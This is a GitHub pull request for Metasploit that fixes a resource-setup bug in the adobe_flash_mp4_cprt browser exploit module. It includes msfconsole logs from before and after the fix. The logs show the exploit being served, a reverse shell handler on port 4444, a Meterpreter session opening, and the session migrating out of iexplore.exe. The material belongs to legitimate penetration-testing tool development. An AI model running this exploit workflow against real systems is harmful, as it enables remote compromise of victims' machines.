Fix add_resource call in adobe_flash_mp4_cprt (RM#7108) #1633
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Fixes an issue preventing get_resource from being called in adobe_flash_mp4_cprt. With this error in place, successful exploitation is impossible as the static page/resource required to deliver the payload is not set up.
Relates to Redmine bug #7108:
http://dev.metasploit.com/redmine/issues/7108
The idea was to ensure the resource is setup before any call to the on_request_uri function was able to take place and then resolve any errors silently if the module attempted to create the resource again, as those errors can be safely ignored in this instance.
Testing consisted of attempting to exploit a known vulnerable system while using wireshark to observe 404 errors for the missing resource. Once succesfull, I additionally attempted multiple connect/exploits from differing machines to make sure the resource remained open and multiple machines could be exploited and handled.
Before Patch:
msf > use exploit/windows/browser/adobe_flash_mp4_cprt
msf exploit(adobe_flash_mp4_cprt) > set URIPATH /test
URIPATH => /test
msf exploit(adobe_flash_mp4_cprt) > exploit
[] Exploit running as background job.
msf exploit(adobe_flash_mp4_cprt) >
[] Started reverse handler on 192.168.1.135:4444
[] Using URL: http://0.0.0.0:8080/test
[] Local IP: http://192.168.1.135:8080/test
[] Server started.
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test
[] 192.168.1.135 adobe_flash_mp4_cprt - Sending html
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test/hfn.swf
[] 192.168.1.135 adobe_flash_mp4_cprt - Sending Exploit SWF
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test.mp4
[*] 192.168.1.135 adobe_flash_mp4_cprt - Sending MP4...
404 return on /test.mp4 in network captures
After Patch:
msf > use exploit/windows/browser/adobe_flash_mp4_cprt
msf exploit(adobe_flash_mp4_cprt) > set URIPATH /test
URIPATH => /test
msf exploit(adobe_flash_mp4_cprt) > exploit
[] Exploit running as background job.
msf exploit(adobe_flash_mp4_cprt) >
[] Started reverse handler on 192.168.1.135:4444
[] Using URL: http://0.0.0.0:8080/test
[] Local IP: http://192.168.1.135:8080/test
[] Server started.
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test
[] 192.168.1.135 adobe_flash_mp4_cprt - Sending html
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test/iDoGj.swf
[] 192.168.1.135 adobe_flash_mp4_cprt - Sending Exploit SWF
[] 192.168.1.135 adobe_flash_mp4_cprt - Client requesting: /test.mp4
[] 192.168.1.135 adobe_flash_mp4_cprt - Sending MP4...
[] Sending stage (752128 bytes) to 192.168.1.135
[] Session ID 1 (192.168.1.135:4444 -> 192.168.1.135:55952) processing InitialAutoRunScript 'migrate -f'
[] Current server process: iexplore.exe (2608)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2968
[+] Successfully migrated to process